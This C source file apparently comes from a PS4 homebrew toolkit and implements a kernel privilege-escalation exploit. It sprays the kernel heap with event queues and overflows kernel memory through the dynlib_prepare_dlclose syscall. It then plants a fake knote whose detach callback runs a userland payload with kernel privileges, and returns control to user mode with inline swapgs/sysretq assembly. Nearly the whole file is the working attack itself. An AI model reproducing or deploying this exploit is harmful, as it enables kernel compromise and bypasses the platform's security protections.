#include <stdlib.h>
#include <stdio.h>

#include <setjmp.h>
#include <pthread.h>
#include <unistd.h>
#include <netinet/in.h>
#include <sys/syscall.h>
#include <sys/socket.h>
#include <sys/mman.h>

#ifndef _KERNEL
	#define UNDEFKERNEL
	#define _KERNEL
#endif

#include <sys/param.h>
#include <sys/proc.h>
#include <sys/event.h>
#include <sys/kthread.h>
#include <sys/filedesc.h>
#include <sys/ucred.h>

#ifdef UNDEFKERNEL
	#undef _KERNEL
#endif

#include <kernel.h>

#include <ps4/exploit.h>
#include <ps4/kernel.h>
//#include <ps4/kernel.h>

enum{ PS4_EXPLOIT_INTERMEDIATE_COUNT = 100 };
enum{ PS4_EXPLOIT_CHUNK_SIZE = 0x8000 };

typedef struct Ps4ExploitArgument
{
	sy_call_t *call;
	void *uap;
	int sysret;
	int64_t *ret[2];
	Ps4ExploitStatus exploitStatus;
	sigjmp_buf sigjmpbuf;
}
Ps4ExploitArgument;

//#define DEBUG 1
#ifdef DEBUG
	#define ps4ExploitDebug(...) \
		do \
		{ \
			printf(__VA_ARGS__); \
			sleep(1); \
		} \
		while(0)
#else
	#define ps4ExploitDebug(...)
#endif

int ps4ExploitRaiseFileDescriptor(int number)
{
	int t[number + 1];
	int i, j, fd;

	if((t[0] = socket(AF_INET, SOCK_STREAM, IPPROTO_TCP)) < 0)
		return -1;

	for(i = 1; t[i - 1] < number; ++i)
		t[i] = dup(t[0]);

	fd = -1;
	if(t[i - 1] == number)
		fd = t[--i];

	for(j = 0; j < i; ++j)
		close(t[j]);

	return fd;
}

SceKernelEqueue ps4ExploitAllocate(int fd)
{
	SceKernelEqueue queue;
	int r;

	if(fd < 0)
		return 0;

	r = sceKernelCreateEqueue(&queue, "exploit");
	if(r != 0)
		return 0;

	r = sceKernelAddReadEvent(queue, fd, 0, NULL);
	if(r != 0)
	{
		sceKernelDeleteEqueue(queue);
		return 0;
	}

	return queue;
}

int ps4ExploitFree(SceKernelEqueue queue)
{
	if(queue == 0)
		return 0;
	return sceKernelDeleteEqueue(queue);
}

void ps4ExploitReturn(struct Ps4ExploitArgument *arg)
{
	siglongjmp(arg->sigjmpbuf, 1);
	return;
}

void ps4ExploitPayload(struct knote *kn)
{
	Ps4ExploitArgument *a = (Ps4ExploitArgument *)kn->kn_kq;
	kn->kn_kq = NULL;

	if(a->call != NULL)
	{
		struct thread *td;
 		ps4KernelThreadGetCurrent(&td);
	 	a->sysret = a->call(td, a->uap);
		if(a->ret[0] != NULL)
			ps4KernelThreadGetReturn(td, a->ret[0]);
		if(a->ret[1] != NULL)
			ps4KernelThreadGetSecondaryReturn(td, a->ret[1]);
	}

	// Xfast_syscall
	// movq 0xb0(%%rsp), %%rsp;
	__asm__ volatile(" \
		movq %%gs:0x2a0, %%rsp; \
		subq $0xc0, %%rsp; \
		movq 0x40(%%rsp), %%rbp; \
		movq 0xa8(%%rsp), %%r11; \
		movq %0, %%rcx; \
		movq %1, %%rdi; \
		movq %%gs:0x2a8, %%rsp; \
 		swapgs; \
		sysretq; \
	" : : "r"(ps4ExploitReturn), "r"(a));
}

int ps4ExploitExecute(sy_call_t *call, void *uap, int64_t *ret0, int64_t *ret1, Ps4ExploitStatus *status)
{
	struct Ps4ExploitArgument arg;

	arg.call = call;
	arg.uap = uap;
	arg.ret[0] = ret0;
	arg.ret[1] = ret1;
	arg.sysret = 0;
	arg.exploitStatus = 0;

	int fd = (PS4_EXPLOIT_CHUNK_SIZE - 0x800) / 8;
	const size_t mapSize = 2 * PS4_EXPLOIT_CHUNK_SIZE;
	const size_t mapOverflowSize = (0x100000000 + PS4_EXPLOIT_CHUNK_SIZE) / 4;
	long pageSize = sysconf(_SC_PAGESIZE);

	ps4ExploitDebug("Exploit enter\n");

	Ps4ExploitArgument *a = (Ps4ExploitArgument *)&arg;

	SceKernelEqueue intermediates[PS4_EXPLOIT_INTERMEDIATE_COUNT];
	SceKernelEqueue buffer, overflow;
	uint8_t *map;

	struct knote kn = {{0}};
	//struct knlist knl = {{0}};
	struct filterops fo;
	struct klist *kl;

	int i, j, t;

	ps4ExploitDebug("Raising fd to %i\n", fd);
	// raise file descriptor
	t = ps4ExploitRaiseFileDescriptor(fd);
	if(t != fd)
	{
		a->exploitStatus = PS4_EXPLOIT_STATUS_FILE_DESCRIPTOR_RAISE_ERROR;
		goto e1;
	}

	ps4ExploitDebug("Allocating %i intermediates\n", PS4_EXPLOIT_INTERMEDIATE_COUNT);
	// setup kernel chunks
	for(i = 0; i < PS4_EXPLOIT_INTERMEDIATE_COUNT; i++)
	{
		intermediates[i] = ps4ExploitAllocate(fd);

		if(intermediates[i] == 0)
		{
			if(i > 0)
				for(j = 0; j < i; j++)
				{
					ps4ExploitFree(intermediates[j]);
					intermediates[j] = 0;
				}
			a->exploitStatus = PS4_EXPLOIT_STATUS_INTERMEDIATE_ALLOCATION_ERROR;
			goto e2;
		}
	}

	ps4ExploitDebug("Allocating buffer\n");
	// alloc buffer and overflow chunks
	buffer = ps4ExploitAllocate(fd);
	if(buffer == 0)
	{
		a->exploitStatus = PS4_EXPLOIT_STATUS_BUFFER_ALLOCATION_ERROR;
		goto e3;
	}

	ps4ExploitDebug("Allocating overflow\n");
	overflow = ps4ExploitAllocate(fd);
	if(overflow == 0)
	{
		a->exploitStatus = PS4_EXPLOIT_STATUS_OVERFLOW_ALLOCATION_ERROR;
		goto e4;
	}

	ps4ExploitDebug("\"Closing\" fd %i\n", fd);
	// close raised fd
	if(close(fd) < 0)
	{
		a->exploitStatus = PS4_EXPLOIT_STATUS_CLOSE_ERROR;
		goto e5;
	}

	ps4ExploitDebug("Freeing buffer\n");
	// free buffer (create space before overflow)
	t = ps4ExploitFree(buffer);
	buffer = 0;
	if(t != 0)
	{
		a->exploitStatus = PS4_EXPLOIT_STATUS_BUFFER_FREE_ERROR;
		goto e6;
	}

	ps4ExploitDebug("Setting up userland map %zu + %ld\n", mapSize, pageSize);
	// setup userland
	map = mmap(NULL, mapSize + pageSize, PROT_READ | PROT_WRITE, MAP_ANONYMOUS | MAP_PRIVATE, -1, 0);
	if(map == MAP_FAILED)
	{
		a->exploitStatus = PS4_EXPLOIT_STATUS_MAP_ERROR;
		goto e7;
	}
	ps4ExploitDebug("Mapped to %p\n", map);

	ps4ExploitDebug("Partially freeing map at %p %ld\n", map + mapSize, pageSize);
	if(munmap(map + mapSize, pageSize) != 0)
	{
		a->exploitStatus = PS4_EXPLOIT_STATUS_MUNMAP_SLOT_ERROR;
		goto e8;
	}

	// prepare overflow
	kl = (struct klist *)(map + PS4_EXPLOIT_CHUNK_SIZE);
	kn.kn_fop = &fo;
	kn.kn_kq = (struct kqueue *)&arg;
	fo.f_detach = ps4ExploitPayload;
	kl[fd].slh_first = &kn;

	ps4ExploitDebug("Calling syscall, overflowing\n");
	// overflow
	t = syscall(SYS_dynlib_prepare_dlclose, 1, map, &mapOverflowSize);
	if(t != -1)
	{
		a->exploitStatus = PS4_EXPLOIT_STATUS_DLCLOSE_ERROR;
		goto e9;
	}

	ps4ExploitDebug("Freeing %i intermediates\n", PS4_EXPLOIT_INTERMEDIATE_COUNT);
	// free all intermediates
	for(i = 0; i < PS4_EXPLOIT_INTERMEDIATE_COUNT; i++)
	{
		t = ps4ExploitFree(intermediates[i]);
		intermediates[i] = 0;
		if(t != 0)
		{
			a->exploitStatus = PS4_EXPLOIT_STATUS_INTERMEDIATE_FREE_ERROR;
			goto e10;
		}
	}

	ps4ExploitDebug("Preparing overflow return\n");
	// create return buffer, install syscall
	if(sigsetjmp(a->sigjmpbuf, 1) == 0)
	{
		ps4ExploitDebug("Freeing overflow, triggering playload\n");
		// free overflow, trigger playload
		t = ps4ExploitFree(overflow);
		overflow = 0;
		if(t != 0)
		{
			a->exploitStatus = PS4_EXPLOIT_STATUS_OVERFLOW_FREE_ERROR;
			goto e11;
		}

		a->exploitStatus = PS4_EXPLOIT_STATUS_OVERFLOW_TRIGGER_ERROR;
		goto e12;
	}
	else
		ps4ExploitDebug("Returned from triggered playload\n");

	ps4ExploitDebug("Unmapping map %p %zu\n", map, mapSize);
	// free map
	if(munmap(map, mapSize) != 0)
	{
		a->exploitStatus = PS4_EXPLOIT_STATUS_MUNMAP_CLEAN_ERROR;
		goto e13;
	}

	ps4ExploitDebug("Exploit exit without error\n");
	goto ret;

	// FIXME: all good?
	e13: e12: e11: e10: e9: e8:
		munmap(map, mapSize + pageSize);
	e7:	e6: e5:
		ps4ExploitFree(overflow);
	e4:
		ps4ExploitFree(buffer);
	e3:
		for(i = 0; i < PS4_EXPLOIT_INTERMEDIATE_COUNT; i++)
			ps4ExploitFree(intermediates[i]);
	e2:
		close(t);
	e1:

	ps4ExploitDebug("Exploit exit with error %i\n", arg.exploitStatus);

	ret:
	{
		if(status != NULL)
			*status = arg.exploitStatus;

		return arg.sysret;
	}
}
